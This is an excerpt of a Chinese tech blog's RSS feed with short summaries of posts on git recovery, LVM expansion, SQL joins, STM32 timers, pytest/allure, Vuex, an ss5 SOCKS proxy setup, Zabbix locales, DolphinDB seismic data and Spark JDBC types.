      <pubDate>Thu, 01 Jun 2023 09:36:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fea481c88ee0ed371382de4e39d256d7/</guid>
      <description> Git，我已经在本地提交过文件了，也就是已经执行了git commit -m &#34;xxx&#34;，但提交完之后又给撤销了，撤销的还能回来嘛？&#xA;这种情况仍然有机会恢复它。撤销提交的方法取决于你撤销提交的方式。&#xA;说白了就是，只要执行了git commit -m &#34;xxx&#34;，就可以有权恢复代码，切记不要慌！ 如果你使用的是git reset命令来撤销提交，可以使用相同的命令来恢复提交。git reset命令会将当前分支指向你指定的提交，并将之前的提交从历史记录中移除&#xA;这里有几种撤销方式，只是给你列举一种方法，更多关于撤销可自行查找资料 通过使用git reflog命令，你可以查看过去的提交记录，找到之前被撤销的提交的哈希值。然后，使用git reset 命令，将分支指向被撤销的提交，从而恢复提交。&#xA;git reflog git reset &amp;lt;commit-hash&amp;gt; 在这块找到你提交过的文件，找到commit-id，这是你历史提交的文件&#xA;好了，你现在看已经恢复回来了，哈哈哈，胆战心惊一回，当然，这时候只是恢复到你本地了，你可以继续你的事情啦 </description>
    </item>
    <item>
      <title>【Linux】（超详细步骤）使用LVM扩容</title>
      <link>https://bchobby.github.io/posts/d3afca53471bbd0f9abf907c74941a5d/</link>
      <pubDate>Wed, 31 May 2023 21:09:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d3afca53471bbd0f9abf907c74941a5d/</guid>
      <description>一、LVM逻辑卷的创建 1、准备一个硬盘 可以是重新创建的也可以是已经创建好的：&#xA;这里使用已经创建好并且分区好的硬盘sdc；&#xA;2、将分区的类型改为 8e ①然后使用命令：fdisk /dev/sdc　让硬盘进入分区模式，进行更改类型；&#xA;②输入t，进行模式修改&#xA;③输入1，表示修改第一个分区的类型&#xA;④输入8e，表示将类型修改为8e&#xA;⑤输入p，查看修改结果&#xA;⑥全部修改完毕；&#xA;注意不能直接修改扩展分区的类型！&#xA;⑦记得输入w保存，会提示下一次重启时会生效&#xA;3、创建物理卷(PV) ①创建逻辑卷（将新添加的磁盘分区作为物理卷）&#xA;注意！！创建物理卷时该磁盘不能被挂载！！否则无法创建！！&#xA;注意！！创建物理卷时该磁盘不能被挂载！！否则无法创建！！可能会出现下面的情况&#xA;pvs查看物理卷大小 pvscan扫描物理卷 pvdisplay 查看详细信息&#xA;删除物理卷 pvremove /dev/sdb1&#xA;4、创建卷组(VG) 创建卷组：vgcreate volume-group1 /dev/sdb1 /dev/sdb2 /dev/sdb3（创建卷组其实就是将新磁盘所分好的区，按想想要的个数合并成一个“仓库”）&#xA;删除卷组：vgremove volume-group1&#xA;5、创建逻辑卷(LV) 创建一个名为&#39;1v1&#39;、大小为100MB的逻辑卷。我们使用小分区减少执行时间（基于物理卷组去划分的大小，大小不能超过物理卷的大小）&#xA;-L（逻辑卷大小）&#xA;-n（逻辑卷名字）&#xA;lvcreate -L 100M -n lv1 vg1&#xA;6、格式化和挂载逻辑卷 ①格式化逻辑卷 mkfs.xfs /dev/vg1/lv1 ②创建目录&#xA;mkdir /mnt/lv1_mount&#xA;③挂载逻辑卷&#xA;mount /dev/volume-group1/lv1 /lvm-mount/ lvremove删除逻辑卷：1.# umount /lvm-mount/&#xA;2. # lvremove /dev/volume-group1/lv1（ 先卸载再删除） ④查看结果 二、扩展一个LVM卷 扩展逻辑卷 在之前操作的基础上进行下面的操作&#xA;lvextend -L +200M /dev/vg1/lv1（最好有加号）</description>
    </item>
    <item>
      <title>利用c&#43;&#43;实现对指定的一维数组查找目标值的位置下标</title>
      <link>https://bchobby.github.io/posts/8d120c8a34735600b68442f48c40089a/</link>
      <pubDate>Wed, 31 May 2023 20:15:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8d120c8a34735600b68442f48c40089a/</guid>
      <description>#include &amp;lt;iostream&amp;gt;&#xA;using namespace std;&#xA;int fun(int*arr,int start,int end,int target){&#xA;if(target&amp;lt;arr[start]||target&amp;gt;arr[end]||start&amp;gt;end){&#xA;return -1;&#xA;}&#xA;int mid=(start+end)/2;&#xA;if(target==arr[mid]){&#xA;return mid;&#xA;}&#xA;else if(target&amp;gt;arr[mid]){&#xA;return fun(arr,mid+1,end,target);&#xA;}&#xA;else if(target&amp;lt;arr[mid]){&#xA;return fun(arr,start,mid-1,target);&#xA;}&#xA;}&#xA;int main(){&#xA;int arr[5]={12,455,23,67,8};&#xA;int n=sizeof(arr)/sizeof(arr[0]);&#xA;for(int i=0;i&amp;lt;n-1;i++){&#xA;for(int j=0;j&amp;lt;n-1-i;j++){&#xA;if(arr[j]&amp;gt;arr[j+1]){&#xA;int temp=arr[j];&#xA;arr[j]=arr[j+1];&#xA;arr[j+1]=temp;&#xA;}&#xA;}&#xA;}&#xA;for(int m=0;m&amp;lt;n;m++){&#xA;cout&amp;lt;&amp;lt;arr[m]&amp;lt;&amp;lt;&#34;\t&#34;;&#xA;}&#xA;int a=0;&#xA;int b=4;&#xA;int t=23;&#xA;cout&amp;lt;&amp;lt;fun(arr,a,b,t);&#xA;return 0;&#xA;}</description>
    </item>
    <item>
      <title>高频面试八股文原理篇(六) mysql数据库的左连接,右连接,内链接有何区别</title>
      <link>https://bchobby.github.io/posts/45be3379b5f2b9a698064df41f841819/</link>
      <pubDate>Wed, 31 May 2023 18:30:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/45be3379b5f2b9a698064df41f841819/</guid>
      <description>目录&#xA;内连接与外连接的区别&#xA;在sql中l外连接包括左连接（left join ）和右连接（right join），全外连接（full join），内连接(inner join)&#xA;内连接与外连接的区别 自连接&#xA;一个表与它自身进行连接，数据均在一张表中。&#xA;内连接 是多表联查的另一种书写形式，可以匹配出两张表中符合查询条件的数据，其中包含等值连接、非等值连接、自然连接。&#xA;等值连接&#xA;连接条件中使用“=”进行连接查询，结果集中包含重复列&#xA;非等值连接&#xA;连接条件中使用非=进行连接查询&#xA;自然连接&#xA;使用两表中的同名列进行等值连接查询（列名及列数据类型均一致，等值连接中不做列同名要求），结果集中去除重复列，是去除重复列的等值连接&#xA;外连接 主要分为左外连接、右外连接、全外连接&#xA;在sql中l外连接包括左连接（left join ）和右连接（right join），全外连接（full join），内连接(inner join) 左外连接（左连接）：返回包括左表中的所有记录和右表中连接字段相等的记录。&#xA;将返回右表的所有行。如果左表的某行在右表中没有匹配行，则将为右表返回空值。&#xA;以左表为主表，右表没数据为null&#xA;右外连接（右连接）：返回包括右表中的所有记录和左表中连接字段相等的记录。&#xA;将返回右表的所有行。如果右表的某行在左表中没有匹配行，则将为左表返回空值;&#xA;以右表为主表，左表中没数据的为null&#xA;全外连接(全连接)：返回左右表中所有的记录和左右表中连接字段相等的记录。&#xA;FULL JOIN 或 FULL OUTER JOIN&#xA;完整外部联接返回左表和右表中的所有行。当某行在另一个表中没有匹配行时，则另一个表的选择列表列包含空值。&#xA;如果表之间有匹配行，则整个结果集行包含基表的数据值。&#xA;内连接&#xA;内连接则不要求两属性列同名，可以用using或on来指定某两列字段相同的连接条件。&#xA;Select * from table1 inner join table2 on table1.A=table2.E; 变型：</description>
    </item>
    <item>
      <title>STM32定时器输入捕获航模接收机信号</title>
      <link>https://bchobby.github.io/posts/b24dafa9a08a32b1b4fb4c53ed321549/</link>
      <pubDate>Wed, 31 May 2023 17:37:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b24dafa9a08a32b1b4fb4c53ed321549/</guid>
      <description>STM32定时器输入捕获航模接收机信号 前言一、舵机信号（PWM）二、STM32输入捕获功能框图三、输入捕获初始化结构体定义及说明三、代码 前言 最近在做一个检测航模接收机输出的舵机信号，并根据信号不同执行相应功能的小项目。硬件部分使用的是STM32F103C8T6通用定时器TIM3的通道1和通道2分别做两路信号的输入捕获（Input Capture）。&#xA;提示：以下是本篇文章正文内容，下面案例可供参考，如有错误，欢迎批评指正！&#xA;一、舵机信号（PWM） PWM就是脉冲宽度调制，也就是占空比可调的脉冲信号。航模接收机输出的舵机PWM信号一般是频率为50HZ即周期为20ms，信号的高电平时间在1000us-2000us之间变化的PWM波，并且当遥控器打到中位时，信号高电平时间为1500us，如下图所：&#xA;二、STM32输入捕获功能框图 STM32F103通用定时器输入捕获功能框图如下所示，主要包括捕获通道选择、滤波器设置、捕获极性设置、映射关系设置及分频器配置等部分。&#xA;三、输入捕获初始化结构体定义及说明 STM32标准库的stm32f10x_tim.h中定义了定时器输入捕获初始化结构体：&#xA;/** * @brief TIM Input Capture Init structure definition */ typedef struct { uint16_t TIM_Channel; /*!&amp;lt; 输入通道选择，共4个通道。TIM_Channel_1-&amp;gt;TIM_Channel_4 */ uint16_t TIM_ICPolarity; /*!&amp;lt; 输入捕获极性设置，可选择上升沿捕获或下降沿捕获或两者都可捕获。 TIM_ICPolarity_Rising/TIM_ICPolarity_Falling/TIM_ICPolarity_BothEdge */ uint16_t TIM_ICSelection; /*!&amp;lt; 输入捕获通道选择，共3个通道。 TIM_ICSelection_DirectTI/TIM_ICSelection_IndirectTI/TIM_ICSelection_TRC */ uint16_t TIM_ICPrescaler; /*!&amp;lt; 输入捕获通道预分频。可设置分频因子为1、2、4、8*/ uint16_t TIM_ICFilter; /*!&amp;lt; 输入捕获滤波器设置。可设置为0x00到0x0F，一般不用设置为0x00 */ } TIM_ICInitTypeDef; 三、代码 #include &#34;drv_pwm.h&#34; u8 TIM3_CHL1_CaptureFlag;&#x9;// TIM3 CH1捕获标志 u32 TIM3_CHL1_Rising_Value ;&#x9;// TIM3 CH1捕获上升沿值 u32 TIM3_CHL1_Falling_Value ;&#x9;// TIM3 CH1捕获下降沿值 u16 TIM3_CHL1_PWM1_pulse;&#x9;// TIM3 CH1捕获PWM脉宽数值 u8 TIM3_CHL2_CaptureFlag;&#x9;// TIM3 CH2捕获标志 u32 TIM3_CHL2_Rising_Value ;&#x9;// TIM3 CH2捕获上升沿值 u32 TIM3_CHL2_Falling_Value ;&#x9;// TIM3 CH2捕获下降沿值 u16 TIM3_CHL2_PWM1_pulse;&#x9;// TIM3 CH2捕获PWM脉宽数值 void drv_pwm_init(void) { GPIO_InitTypeDef GPIO_InitStruct; TIM_TimeBaseInitTypeDef TIM_TimeBaseInitStruct; TIM_ICInitTypeDef TIM_ICInitStruct; NVIC_InitTypeDef NVIC_InitStruct; /* 打开GPIO时钟 */ RCC_APB2PeriphClockCmd(TIMX_PORT_CLK, ENABLE); /* 打开定时器时钟 */ RCC_APB1PeriphClockCmd(TIMX_CLK, ENABLE); /* 初始化PA6/PA7为下拉输入 */ GPIO_InitStruct.</description>
    </item>
    <item>
      <title>allure美化测试报告</title>
      <link>https://bchobby.github.io/posts/d7bcc012fdf6e5f28dff2fdd36a2e152/</link>
      <pubDate>Wed, 31 May 2023 17:09:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d7bcc012fdf6e5f28dff2fdd36a2e152/</guid>
      <description>一.allure下载安装&#xA;下载地址：https://repo.maven.apache.org/maven2/io/qameta/allure&#xA;下载下来安装包后，把安装包放到一个位置后配置环境变量&#xA;高级系统设置–环境变量–path中把allure包中bin的路径配置上&#xA;二.在python环境中安装相关库&#xA;在python环境中执行以下命令&#xA;pip install allure-pytest&#xA;pip install pytest&#xA;pip install pytest-html&#xA;pip install pytest-xdist&#xA;pip install pytest-ordering&#xA;pip install pytest-rerunfailures&#xA;三.生成报告命令&#xA;生成每条测试用例报告：&#xA;pytest -vs --alluredir=./result/report（./result/report 是测试报告存储位置）&#xA;生成整体测试报告：&#xA;allure serve ./result/report（./result/report 是测试报告存储位置）</description>
    </item>
    <item>
      <title>【20230531】Git命令和Github相关使用</title>
      <link>https://bchobby.github.io/posts/d3bc92af5d8276dc71d833c09d727422/</link>
      <pubDate>Wed, 31 May 2023 17:02:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d3bc92af5d8276dc71d833c09d727422/</guid>
      <description>1 在Git中缓存GitHub凭据 根据系统下载对应的GitHub CLI 2.25.1 2. github主页，点击用户头像选择settings-&amp;gt;Developer Settings-&amp;gt;Personal access tokens申请密钥（主要分为Fine-grained tokens和Tokens classic）gh需要使用的是Tokens classic。 (可以通过网页进行授权认证，所以不需要提前申请密钥）&#xA;命令行输入下面内容，按要求进行下一步即可。 gh auth login 2 配置 Git的设置文件为.gitconfig，它可以在用户主目录下(全局配置)，也可以在项目目录下(项目配置)。配置文件在用户目录下可以查看 eg. /home/lieryang/.gitconfig&#xA;# 显示当前的Git配置 git config --list # 编辑Git配置文件 git config -e [--global] # 设置提交代码时的用户信息 git config --global user.name &#34;[name]&#34; git config --global user.email &#34;[email address]&#34; # 代理设置 # socks git config --global http.proxy &#39;socks5://127.0.0.1:1080&#39; git config --global https.proxy &#39;socks5://127.0.0.1:1080&#39; # http git config --global http.proxy http://127.0.0.1:7890 git config --global https.</description>
    </item>
    <item>
      <title>访问者模式</title>
      <link>https://bchobby.github.io/posts/2ffc18d42138c904d6996305da346fcd/</link>
      <pubDate>Wed, 31 May 2023 16:30:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2ffc18d42138c904d6996305da346fcd/</guid>
      <description>文章目录 访问者模式1.访问者模式的本质2.何时选用访问者模式3.优缺点4.访问者模式的结构5.实现 访问者模式 1.访问者模式的本质 访问者模式的本质:预留通路，回调实现。&#xA;访问者模式的本质是将数据结构和数据操作分离，通过定义一个访问者对象，实现对数据结构中各个元素的访问和处理，从而达到解耦和灵活性的目的。&#xA;2.何时选用访问者模式 建议在以下情况中选用访问者模式。&#xA;当需要对一个复杂的数据结构进行操作，并且这些操作可能需要根据不同的元素类型进行变化时，可以考虑使用访问者模式。通过将具体操作封装在访问者对象中，可以在不改变数据结构的情况下，实现对不同元素的不同操作。&#xA;当需要在不同的数据结构中执行相似的操作，但不希望在数据结构中添加新的方法时，可以使用访问者模式。访问者模式可以将操作从数据结构中分离出来，使得操作可以独立变化，而不需要修改数据结构本身。&#xA;当数据结构中的元素种类相对稳定，但可能需要新增一些新的操作时，可以考虑使用访问者模式。通过定义新的访问者对象，可以在不修改现有元素类的情况下，对新增操作进行扩展。&#xA;当需要对数据结构中的元素进行多种操作，并且这些操作之间存在一定的关联或依赖关系时，可以使用访问者模式。访问者模式可以通过在访问者中保存中间结果或状态，实现多个操作之间的数据共享和协作。&#xA;3.优缺点 访问者模式有以下优点。&#xA;好的扩展性&#xA;能够在不修改对象结构中的元素的情况下,为对象结构中的元素添加新的功能。&#xA;好的复用性&#xA;可以通过访问者来定义整个对象结构通用的功能，从而提高复用程度。&#xA;分离无关行为&#xA;可以通过访问者来分离无关的行为，把相关的行为封装在一起，构成一个访问者，这样每一个访问者的功能都比较单一。&#xA;访问者模式有以下缺点。&#xA;对象结构变化很困难&#xA;不适用于对象结构中的类经常变化的情况，因为对象结构发生了改变，访问者的接口和访问者的实现都要发生相应的改变，代价太高。&#xA;破坏封装&#xA;访问者模式通常需要对象结构开放内部数据给访问者和ObjectStructrue，这破坏了对象的封装性。&#xA;4.访问者模式的结构 Visitor:访问者接口，为所有的访问者对象声明一个visit方法，用来代表为对象结构添加的功能，理论上可以代表任意的功能。ConcreteVisitor:具体的访问者实现对象，实现要真正被添加到对象结构中的功能。Element:抽象的元素对象，对象结构的顶层接口，定义接受访问的操作。ConcreteElement:具体元素对象，对象结构中具体的对象，也是被访问的对象，通常会回调访问者的真实功能，同时开放自身的数据供访问者使用。ObjectStructure:对象结构，通常包含多个被访问的对象，它可以遍历多个被访问的对象，也可以让访问者访问它的元素。可以是一个复合或是一个集合，如一个列表或无序集合。 5.实现 模拟大众公司生产油车和电车&#xA;销售人员关注油车和电车的价格质检人员关注油车和电车的油耗量和电耗量 1.大众汽车接口及其实现类&#xA;/** * @description:大众汽车 */ public interface Car { /** * 接受访问者的访问 * @param visitor 访问者对象 */ void accept(Visitor visitor); } /** * @description:大众辉腾（油车） */ @Data @AllArgsConstructor public class HuiTeng implements Car{ /** * 价格 */ private String price; /** * 油耗量 */ private String oilConsumption; @Override public void accept(Visitor visitor) { visitor.</description>
    </item>
    <item>
      <title>PyEcharts 修改坐标轴颜色/图例字体颜色</title>
      <link>https://bchobby.github.io/posts/679df735d13033be5a75fc55f5da492f/</link>
      <pubDate>Wed, 31 May 2023 16:22:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/679df735d13033be5a75fc55f5da492f/</guid>
      <description> 修改之前的图如下&#xA;修改之后的图如下&#xA;上代码&#xA;from pyecharts import options as opts from pyecharts.charts import Bar from pyecharts.faker import Faker c = ( Bar() .add_xaxis(Faker.choose()) .add_yaxis(&#34;商家A&#34;, Faker.values(), stack=&#34;stack1&#34;) .add_yaxis(&#34;商家B&#34;, Faker.values(), stack=&#34;stack1&#34;) .set_series_opts(label_opts=opts.LabelOpts(is_show=False)) .set_global_opts(title_opts=opts.TitleOpts(title=&#34;Bar-堆叠数据（全部）&#34;, ), xaxis_opts=opts.AxisOpts( axislabel_opts=opts.LabelOpts(color=&#34;red&#34;), # 修改坐标轴标签颜色 axisline_opts=opts.AxisLineOpts(linestyle_opts=opts.LineStyleOpts(color=&#34;red&#34;)) # 修改坐标轴线条 ), legend_opts=opts.LegendOpts(textstyle_opts=opts.TextStyleOpts(color=&#34;red&#34;)) # 修改图例颜色 ) .render(&#34;1213.html&#34;) ) 其与原代码的区别在于在set_global_opts里添加了&#xA;xaxis_opts=opts.AxisOpts( axislabel_opts=opts.LabelOpts(color=&#34;red&#34;), # 修改坐标轴标签颜色 axisline_opts=opts.AxisLineOpts(linestyle_opts=opts.LineStyleOpts(color=&#34;red&#34;)) # 修改坐标轴线条 ), legend_opts=opts.LegendOpts(textstyle_opts=opts.TextStyleOpts(color=&#34;red&#34;)) # 修改图例颜色 </description>
    </item>
    <item>
      <title>vuex内容及使用详解</title>
      <link>https://bchobby.github.io/posts/71c9cb3650a2a24fda9322553ef8b668/</link>
      <pubDate>Wed, 31 May 2023 15:38:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/71c9cb3650a2a24fda9322553ef8b668/</guid>
      <description>Vuex是什么 Vuex 是一个专为 Vue.js 应用程序开发的状态管理模式。它采用集中式存储管理应用的所有组件的状态，并以相应的规则保证状态以一种可预测的方式发生变化&#xA;说起状态管理模式，就不得不提起一个名词——单向数据流。&#xA;单向数据流 在Vue中，数据的传输流动必须遵循单向数据流原则：父级 prop 的更新会向下流动到子组件中，每次父级组件发生更新时，子组件中所有的 prop 都将会刷新为最新的值。&#xA;单向数据流有一个个人认为最容易理解的例子：props和( e m i t / emit/ emit/on)的组合。没错，就是和vuex 同为组件间通信方式之一的父子组件通信组合。&#xA;// 父组件 &amp;lt;child :info=&#34;info&#34; @clickButton=&#34;handleClickButon&#34;/&amp;gt; export default { data(){ return { info:{ name: &#39;muyu&#39;, age: 28 } } }, methods:{ handleClickButon (name) { this.info.name = name } } } // 子组件 &amp;lt;div&amp;gt; &amp;lt;p&amp;gt;{{info.name}}&amp;lt;/p&amp;gt; &amp;lt;button @click=&#34;handleChangeName&#34;&amp;gt;修改&amp;lt;/button&amp;gt; &amp;lt;/div&amp;gt; export default { props:{ info: { type: Object, default: () =&amp;gt; { name: &#39;&#39; } } }, methods: { handleChangeName () { this.</description>
    </item>
    <item>
      <title>Centos7 搭建 Socks 服务</title>
      <link>https://bchobby.github.io/posts/6c6f3605f02c30d12a64fc9cc882c2a2/</link>
      <pubDate>Wed, 31 May 2023 14:11:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6c6f3605f02c30d12a64fc9cc882c2a2/</guid>
      <description>博客园地址&#xA;Centos7 搭建 Socks 服务 一丶拿到一个动态拨号的服务器还不能使用网络得先打开： pppoe-start 二丶安装命令汇总： 通过yum安装ss5 依赖包： yum install gcc openldap-devel pam-devel openssl-devel 首先下载ss5（如果没有wget先安装：yum install wget）: （# 这个是一个日本大学的sourceforge镜像） wget http://jaist.dl.sourceforge.net/project/ss5/ss5/3.8.9-8/ss5-3.8.9-8.tar.gz 解压压缩包 tar -vzx -f ss5-3.8.9-8.tar.gz 进入解压目录 cd ss5-3.8.9/ configure是一个shell脚本 主要的作用是对即将安装的程序进行配置， 检查当前的环境是否满足要安装程序的依赖关系. 如果系统环境合适，就会生成makefile，否则会报错。 ./configure make是一个命令工具 解释 Makefile 中的规则。 Makefile文件中描述了整个工程所有文件的编译顺序、编译规则。 实际上make是执行Makefile中的第一条命令 执行Makefile中的install 这些都可以在Makefile文件中看到 可以使用vim Makefile查看文件 make &amp;amp;&amp;amp; make install ------------安装完成----------------- 启动ss5： service ss5 start 如果报错 权限不足 就改一下权限 再次启动就可以了： # a+x 给所有人加上可执行权限(所有者，所属组，其他) chmod a+x /etc/init.d/ss5 service ss5 start 目前为止只是安装上了ss5，也可以正常运行服务，但实际上代理服务还是用不了，需要配置一下文件。 vi /etc/opt/ss5/ss5.</description>
    </item>
    <item>
      <title>RockyLinux9安装Zabbix6.0配置中文界面 中文方块</title>
      <link>https://bchobby.github.io/posts/b92c51417e5aabeaf34296dd9875791b/</link>
      <pubDate>Wed, 31 May 2023 12:29:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b92c51417e5aabeaf34296dd9875791b/</guid>
      <description>问题 CentOS即将停止维护，公司选择RockyLinux9作为替代。在安装zabbix时提示“You are not able to choose some of the languages, because locales for them are not installed on the web server.”。Zabbix6.0界面无法选择中文，通过安装语言包解决。顺便解决了zabbix6中文方块问题。&#xA;原因 rockyLinux9默认没有自带中文语言包。&#xA;相关查看命令如下：&#xA;localectl list-locales #查看系统默认已有的语言包 localectl #查看当前生效的语言包 localectl set-locale LANG=&#34;zh_CN.utf8&#34; #修改当前生效语言包为中文zh_CN.utf8 解决 查找dnf源上可下载的其它语言包，并下载安装。&#xA;dnf list |grep glibc-langpack&#x9;#查看源上有哪些语言包 dnf list |grep glibc-langpack|grep zh #筛选出需要的中文语言包 dnf install glibc-langpack-zh #安装中文语言包 localectl set-locale LANG=&#34;zh_CN.utf8&#34; #修改当前生效语言包为中文zh_CN.utf8 systemctl restart zabbix-server zabbix-agent httpd php-fpm #重启zabbix server相关服务 修改语言包不需要reboot操作系统，仅重启zabbix相关服务即可。再次登录zabbix web界面从左下方user settings处即可进行显示语言的修改。&#xA;其它 中文方块问题： 改语言包仅解决了整体页面的中文显示问题，具体监控项仍然存在中文方块乱码问题，需要下载中文字体解决。</description>
    </item>
    <item>
      <title>StreamFab Downloader通杀所有常见视频网站，支持Netflix、Disney&#43;1000网站下载视频</title>
      <link>https://bchobby.github.io/posts/2a2521ff165770bd841cb0e2d40074eb/</link>
      <pubDate>Wed, 31 May 2023 11:28:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2a2521ff165770bd841cb0e2d40074eb/</guid>
      <description>StreamFab Downloader 是 StreamFab 公司推出的一款流媒体下载器，其主要功能是从 Netflix、Disney+、Amazon 和 Hulu 等流媒体网站上下载视频和音频内容。&#xA;软件特点 支持多个流媒体网站：可以下载来自多个流媒体网站的视频和音频内容，如 Netflix、Disney+、Hulu、Amazon Prime Video 等。&#xA;高质量下载：支持下载高达 8K 分辨率的视频和音频内容。&#xA;多种输出格式：可以将下载的视频和音频文件转换为多种格式，如 MP4、MKV、AVI、MP3 等。&#xA;高速下载：支持 GPU 加速技术，下载速度快，节省时间。&#xA;批量下载：可以一次性下载整个系列或剧集。&#xA;用户友好界面：清晰简洁的界面设计，易于使用。&#xA;自动更新：支持自动检查更新，保证软件始终是最新版。&#xA;总之，StreamFab Downloader 是一个强大而易于使用的流媒体下载工具，能够满足用户对高品质视频和音频内容的需求。&#xA;下载地址：https://soft.macxf.com/soft/3601.html?id=MzE5MTM%3D</description>
    </item>
    <item>
      <title>用时序数据库 DolphinDB 实现地震波形的分析预警</title>
      <link>https://bchobby.github.io/posts/4d64bbca07fe583864ed5653623cce8d/</link>
      <pubDate>Wed, 31 May 2023 10:28:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4d64bbca07fe583864ed5653623cce8d/</guid>
      <description>1. 绪论 波形数据的存储与实时流处理是地震预警、地震速报、地震烈度速报、震源机制解等数字地震台网综合处理系统的前提，合理的存储方案与高效的实时流处理架构能极大地节约存储成本、降低响应延时、方便震源分析。&#xA;本篇教程会为有该方面需求的客户提供一个基于 DolphinDB 的地震波形数据存储及实时流处理的解决方案，助力用户降低存储成本、提升效率。&#xA;1.1 行业背景 国家地震台网、 区域地震台网和流动地震台网等组成的中国数字地震观测网络系统每天不间断地产生地震波行数据。该数据的原始形态是方便数据处理的，但为了进行归档和交换，必须进行统一的数据格式化，现使用的国际通用交换格式为 SEED。 国家测震台网数据备份中心实时接收存储的地震波形数据始于2007年8月，至今数据量大约有 100TB 左右。随着地震台站数量和强震数据的不断增多，可以预见今后的测震数据增速会越来越快。&#xA;现今大部分测震数据是以 SEED 文件格式或存储于盘阵内，或存储于光盘、移动硬盘等离线介质内，辅以数十张描述这些数据文件的关系型表，这些表遵从《中国数字测震台网数据规范》。有数据分析需求的研究人员通过网络等方式进行数据申请，数据服务方按照请求进行波形数据的截取和打包，并发送给研究员。&#xA;传统模式下的地震波形数据存储较为分散，一次能处理的数据长度有限，分析应用的流程冗长，因此并不能有效支撑大规模的数据查询、分析、计算和可视化服务。&#xA;1.2 业务挑战 总体而言，地震波形数据的处理可以简化成数据采集、数据清洗和数据可视化展示三个部分。其中的数据采集一般通过部署在各地的地震计完成。地震计 7X24 小时不间断地记录和测量当地的地面运动数据，然后通过网络传输到台网中心，由数据处理部门以人工交互或自动化方式处理数据，监测全国和全球的地震活动情况。&#xA;图1 地震波形数据流向&#xA;目前地震行业中数据采集相关工作比较完善，基本上也形成了统一的标准，但是在数据处理与数据分析模块中，还未形成统一的解决方案。随着国家对防震减灾的要求越来越高，用于数据采集的地震计数量将会呈数量级增长，并且随着物联网的发展，将会有更多数据接入用于地震监测。因此，原有在单台机器上运行的地震数据处理软件（如地震自动测定软件）的数据处理压力会越来越大。同时，海量数据的汇入，对数据存储、管理、回溯等都提出了新的要求。现如今，对地震数据的处理与分析面临以下几大难点：&#xA;文件存储：以 MiniSeed 文件形式单机存储，横向扩展性差，当数据量大时，扩展成为一个难题离线分析：从服务器上下载 MiniSeed 文件，再通过专业的地震分析软件将其解析成结构化数据进行分析，过程繁琐，效率低下实时处理与展示：目前无法实现实时计算、实时展示，特别是异常检测等时效性强的需求，无法满足 针对上述问题，目前业界的普遍做法是建立云架构数据中心， 它基于分布式文件系统的海量存储能力和分布式计算能力， 整合数据采集工具和 SQL 交互引擎、列式数据存储引擎， 提供对海量数据的采集、存储、处理分析和应用展示等系列功能，但也存在以下几个问题：&#xA;存储成本：将 MiniSeed 文件解析成结构化数据存入数据库体积变大，造成硬件资源成本急剧增加数据导入/导出功能：结构化数据存入数据库后，按需将数据打包成 MiniSeed 文件难度大，如一个台站所有通道一天的数据打包下载速度极慢，无法为业务人员提供数据支持外部订阅功能：以接口形式获取数据速度极慢，无法为后续其他系统提供数据支撑 2. DolphinDB解决方案 上述地震波形数据在存储与分析模块时面对的问题，可由 DolphinDB 在存储、流计算上支持的以下特性，以及通过这些特性的组合使用得以解决：&#xA;高效存储方式：数据分区列式存储。针对地震数据可采用时间+ id 的方式组合分区来达成灵活分区存储，对于不同分区数据可以多线程并行操作高效压缩算法：支持 lz4、delta 压缩算法，大大提升压缩率，节约硬件资源高效排序算法：sortColumn 对分区内数据排序存储，快速定位数据在分区中的位置强大的流数据计算引擎：毫秒级别计算响应延时 同时 DolphinDB 良好的生态也为 MiniSeed 文件导入、导出以及二次开发提供了极大的便利：&#xA;插件支持：自研 MiniSeed 插件，支持 MiniSeed 文件的导入与导出功能，避免了调用第三方工具导入/导出文件的繁琐过程丰富的机器学习支持：内置一系列常用的机器学习算法，例如最小二乘回归、随机森林、K-平均等，同时还提供了一些插件，方便地用 DolphinDB 的脚本语言调用第三方库进行机器学习，如 XGBoost 插件丰富的 API 生态：支持 Python, Java, C++, Go 等 API，助力二次开发 以某台网中心为例：每个通道的采样频率为每10毫秒采集一条监测记录，包含时间戳、sid 和采样值三个字段，并以通道为单位、每 3s 将采集到的监测记录打包成 MiniSeed 文件发送到台网中心。有以下需求：</description>
    </item>
    <item>
      <title>SparkDF存储目标表修改字段类型解决过程</title>
      <link>https://bchobby.github.io/posts/cd4ee0784e6424f456bbc20de17a349f/</link>
      <pubDate>Wed, 31 May 2023 10:26:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cd4ee0784e6424f456bbc20de17a349f/</guid>
      <description>原始问题，指定前三个字段类型后，SparkDF存储数据后出现，更改字段类型&#xA;添加插入配置进行测试&#xA;rowResult1.write .mode(SaveMode.Overwrite) .option(&#34;createTableColumnTypes&#34;, &#34;check_health_id varchar(200), column_name varchar(200), row_res varchar(1000), complete int, effective int, standard int, agreement int&#34;) .jdbc(url, &#34;health_archives_update&#34;, prop) 测试Append插入是否会发生改变&#xA;再次使用Append模式再次插入后&#xA;字段类型没有发生改变&#xA;更换代码为overwrite模式测试&#xA;表字段没有发生改变。&#xA;再次执行任务查看&#xA;字段类型没有发生改变&#xA;测试表是否区分大小写&#xA;更换为小写U,测试没有影响&#xA;类型没有发生改变&#xA;PS: 此次出现的问题为SparkDF字段类型为以下所示&#xA;root |-- check_health_id: string (nullable = true) |-- column_name: string (nullable = true) |-- row_res: string (nullable = true) |-- complete: integer (nullable = true) |-- effective: integer (nullable = true) |-- standard: integer (nullable = true) |-- agreement: integer (nullable = true) Mysql存储格式为</description>
    </item>
    <item>
      <title>自动化测试-selenium学习笔记-简单介绍</title>
      <link>https://bchobby.github.io/posts/8606bdf66ebf621dff7df8a2522c6125/</link>
      <pubDate>Wed, 31 May 2023 09:46:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8606bdf66ebf621dff7df8a2522c6125/</guid>
